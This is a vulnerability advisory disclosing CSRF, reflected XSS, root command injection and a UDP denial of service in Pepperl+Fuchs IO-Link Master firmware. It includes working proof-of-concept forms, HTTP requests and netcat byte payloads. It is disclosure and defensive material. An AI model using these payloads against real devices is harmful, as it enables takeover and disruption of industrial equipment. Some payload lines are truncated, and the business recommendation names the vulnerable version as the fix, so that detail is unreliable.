SEC Consult Vulnerability Lab Security Advisory < 20210113-0 >  
title: Multiple vulnerabilities  
product: Pepperl+Fuchs IO-Link Master Series  
See "Vulnerable / tested versions"  
vulnerable version: System 1.36 / Application 1.5.28  
fixed version: System 1.52 / Application 1.6.11  
CVE number: CVE-2020-12511, CVE-2020-12512, CVE-2020-12513,  
impact: High  
found: 2020-04-23  
by: T. Weber (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"Automation is our world. Perfect application solutions are our goal.  
In 1945, Walter Pepperl and Ludwig Fuchs founded a small radio workshop in  
Mannheim, Germany, based on the principles of inventiveness, entrepreneurial  
foresight, and self-reliance. The experience they acquired was transformed into  
new ideas, and they continued to enjoy developing products for customers. The  
eventual result was the invention of the proximity switch. This innovation rep-  
resented the starting point of the company's success story.  
Today, Pepperl+Fuchs is known by customers around the world as a pioneer and an  
innovator in electrical explosion protection and sensor technology. Our main  
focus is always on your individual requirements: With a passion for automation  
and groundbreaking technology, we are committed to working in partnership with  
you now and in the future. We understand the demands of your markets, develop-  
ing specific solutions, and integrating them into your processes."  
Business recommendation:  
SEC Consult recommends to update the devices to the newest firmware packages  
(System 1.36 / Application 1.5.28), where the documented issues are fixed  
according to the vendor.  
Vulnerability overview/description:  
1) Cross-Site Request Forgery (CSRF) (CVE-2020-12511)  
The web interface that is used to set all configurations, is vulnerable to  
cross-site request forgery attacks. An attacker can change settings via this  
way by luring the victim to a malicious website.  
2) Authenticated Reflected POST Cross-Site Scripting (CVE-2020-12512)  
An authenticated reflected cross-site scripting can be triggered by issuing a  
POST request to the "/Software" endpoint which is available on the web-service.  
An attacker can abuse these vulnerabilities to steal cookies from the attacked  
user in order to log on to the device. An attacker is also able to perform  
actions in the context of the attacked user.  
3) Authenticated Blind Command Injection (CVE-2020-12513)  
A command injection was identified in the web-interface. This vulnerability is  
present because of unfiltered user input that is appended to a string which  
gets executed with "exec()". Commands are executed as root user.  
4) Null Pointer Dereference / DoS in "discoveryd" (CVE-2020-12514)  
The discovery daemon ("discoveryd") is started during the bootup of the device.  
The program is used for the network management program "PortVision DX". It is  
designed with unsafe functions and is vulnerable to a DoS attack. This is  
triggered due to a null dereference in strlen. A debug mode is also available in  
the program. This can be activated by starting the discovery daemon with  
"discoveryd -vv". All inputs are printed to the stdout during its execution  
with this argument. This is not done in the productive device but can lead to  
more severe attacks.  
5) Outdated and Vulnerable Software Components  
Outdated and vulnerable software components were found on the device during  
a quick examination.  
One of the discovered vulnerabilities (CVE-2017-16544) was verified by using  
the MEDUSA scalable firmware runtime.  
Proof of concept:  
1) Cross-Site Request Forgery (CSRF) (CVE-2020-12511)  
The following PoC can be used to change the hostname of the device to "SEC-  
<script>history.pushState('', '', '/')</script>  
<form action="https://$IP/configuration_tab/ajax_comb_table_save/network_config/network_config_schema" method="POST">  
<input type="hidden" name="form"  
<input type="submit" value="Submit request" />  
2) Authenticated Reflected POST Cross-Site Scripting (CVE-2020-12512)  
By sending the following request to the web-service, a reflected cross-site  
scripting vulnerability can be triggered:  
POST /Software HTTP/1.1  
Host: $IP  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 42  
Connection: close  
Cookie: ui_language=en_US; PHPSESSID=r7jtaceerqeijqr4b2dl0us814  
Upgrade-Insecure-Requests: 1  
The server responds with the following content:  
HTTP/1.1 200 OK  
X-Powered-By: PHP/5.6.15  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-type: text/html; charset=UTF-8  
Content-Length: 11860  
Connection: close  
Date: Thu, 01 Jan 1970 00:59:46 GMT  
Server: lighttpd/1.4.41  
<div class="page-content">  
<div class="page-header">  
<h1>Software <a href='/assets/WebHelp/german'><script>alert(document.cookie)</script>/advanced/software.htm' target='_blank'><img src='/assets/images/question_16.png' alt='Page-specific Help'></a></h1>  
<a class="latest-version" href="#">Check for latest version</a>  
PoC-Exploit code for the cross-site scripting vulnerability:  
<script>history.pushState('', '', '/')</script>  
<form action="http://$IP/Software" method="POST">  
<input type="hidden" name="language" value="german'><script>alert(document.cookie)</script>" />  
<input type="submit" value="Submit request" />  
3) Authenticated Blind Command Injection (CVE-2020-12513)  
By entering a command in the field "code" under the tab "IO-Link Test Event  
Generation" on the endpoint "/Misc/Settings" that is surrounded by ";", it  
gets executed. The following POST request to the web-service demonstrates this  
with the command "ping":  
POST /index.php/ajax/generate_iolink_event/ HTTP/1.1  
Host: $IP  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://$IP/Misc/Settings  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 101  
Connection: close  
Cookie: ui_language=en_US; PHPSESSID=lh8d4g4e8fm9f1732j9g6bm3a0  
There is no response from the web-service which indicates to the attacker that  
the command was executed. As this was tested on an emulated device only, the  
commands were seen in the process list which proofed that it was executed  
as root:  
-bash-4.4# ps  
216 root /usr/sbin/restoremonitor  
272 root /usr/sbin/snmpd -Lsd -Lf /dev/null -p /var/run/  
333 root /apps/bin/appmgr  
347 root 05discoverd  
349 root 11iolinkconfigd  
353 root 90netconfig-saved  
354 root 90netconfig-working  
385 root lighttpd -f /apps/www/lighttpd.conf  
386 root /usr/bin/php-cgi  
387 root /usr/bin/php-cgi  
388 root /usr/bin/php-cgi  
389 root /usr/bin/php-cgi  
390 root /usr/bin/php-cgi  
391 root /usr/bin/php-cgi  
392 root config waitcmd working network /apps/bin/updateLighttpdAuth  
395 root /usr/bin/php-cgi  
397 root -bash  
399 root /usr/bin/php-cgi  
473 root udhcpc -R -n -O search -p /var/run/ -i eth0 -x ho  
2519 root [kworker/u3:2]  
3173 root sh -c injectEvent -m single -t message -i unknown -s local -v va  
3175 root ping  
3509 root 50ethernetip  
3541 root [10iolinkd]  
3544 root ps  
4) Null Pointer Dereference / DoS in "discoverd" (CVE-2020-12514)  
Payload for triggering a segmentation fault (caused by a null pointer dereference):  
$ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x00\x0c\x00\x10\x10" | nc -u $IP 4606  
Program received signal SIGSEGV, Segmentation fault.  
0xb6f5dfb4 in strlen () from /lib/  
Payload for writing ASCII characters in debug mode ("discoveryd -vv"). Register  
R4 can be controlled via a byte (filled with value "\xab") also in normal mode  
$ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x01\x0c\x00\x10\xab\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63" | nc -u $IP 4606  
Program received signal SIGSEGV, Segmentation fault.  
0xb6f5dfb4 in strlen () from /lib/  
(gdb) i r  
r0 0x0 0  
r1 0x0 0  
r2 0xbefffb9b 3204447131  
r3 0x0 0  
r4 0xab 171  
r5 0x1da 474  
r6 0xb6f8dbee 3069762542  
r7 0x0 0  
r8 0x0 0  
r9 0x0 0  
r10 0xb6ffef74 3070226292  
r11 0xbefff574 3204445556  
r12 0xb6f5dfb0 3069566896  
sp 0xbefff558 0xbefff558  
lr 0xaf9c 44956  
pc 0xb6f5dfb4 0xb6f5dfb4 <strlen+4>  
cpsr 0xa0000010 -1610612720  
fpscr 0x0 0  
More bytes than in this payload will lead to another program execution path in  
debug mode ("discoveryd -vv").  
$ echo -e  
| nc -u $IP 4606  
Other program paths, depending on the current memory, can be triggered with  
this payload in debug mode due to printf:  
$ echo -e  
| nc -u $IP 4606  
In normal mode, only a null pointer dereference is triggered which leads to a  
program crash.  
5) Outdated and Vulnerable Software Components  
* PHP 5.6.15  
* lighttpd 1.4.41  
* OpenSSL 1.0.2j  
* Linux Kernel 2.6.30  
* BusyBox 1.26.2  
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on  
an emulated device:  
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the  
# ls "pressing <TAB>"  
The vulnerabilities 1), 2), 3) and 4) were manually verified on an emulated  
device by using the MEDUSA scalable firmware runtime.  
Vulnerable / tested versions:  
The IO-Link Master devices are sharing the same firmware base. The  
vulnerabilities were tested on an emulated firmware (system 1.36/ app EIP 1.5.28).  
According to the vendor, all firmware versions below 1.5.48 are vulnerable:  
IO-Link Master 4-EIP / <=1.5.48  
IO-Link Master 8-EIP / <=1.5.48  
IO-Link Master 8-EIP-L / <=1.5.48  
IO-Link Master DR-8-EIP / <=1.5.48  
IO-Link Master DR-8-EIP-P / <=1.5.48  
IO-Link Master DR-8-EIP-T / <=1.5.48  
IO-Link Master 4-PNIO / <=1.5.48  
IO-Link Master 8-PNIO / <=1.5.48  
IO-Link Master 8-PNIO-L / <=1.5.48  
IO-Link Master DR-8-PNIO / <=1.5.48  
IO-Link Master DR-8-PNIO-P / <=1.5.48  
IO-Link Master DR-8-PNIO-T / <=1.5.48  
Vendor contact timeline:  
2020-04-30 | Contacting VDE CERT through  
2020-07-29 | Received confirmation from VDE CERT.  
2020-07-31 | Call with P+F regarding vulnerabilities from this and another  
2020-09-29 | Call with Pepperl+Fuchs and CERT@VDE regarding status.  
2020-10-02 | Received CVE IDs and preliminary advisory from VDE@CERT.  
2020-11-11 | Call with Pepperl+Fuchs regarding the patches. They should be  
available within the next two weeks according to P+F. Agreed  
with P+F and VDE CERT to release the security advisory next year.  
2020-12-14 | Received preliminary advisory from P+F. Set publication date to  
2021-01-04 | Received final advisory from P+F.  
2021-01-13 | Coordinated release of security advisory.  
Update the firmware to Application 1.6.11 / System 1.52 to resolve the security  
According to Pepperl+Fuchs, the following steps are recommended to be taken:  
"In order to prevent the exploitation of the reported vulnerabilities, we  
recommend that the affected units be updated with the following three firmware  
- U-Boot bootloader version 1.36 or newer  
- System image version 1.52 or newer  
- Application base version 1.6.11 or newer  
Furthermore, it is always recommended to observe the following measures if the  
affected products are connected to public networks:  
1. An external protective measure to be put in place.  
Traffic from untrusted networks to the device should be blocked by a firewall.  
Especially traffic targeting the administration webpage.  
2. Device user accounts to be enabled with secure passwords.  
If non-trusted people/applications have access to the network that the device  
is connected to, then configuring passwords for all three User Accounts  
is recommended."  
Pepperl+Fuchs advisory page:  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
About SEC Consult Vulnerability Lab  
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Mail: research at sec-consult dot com  
EOF T. Weber / @2021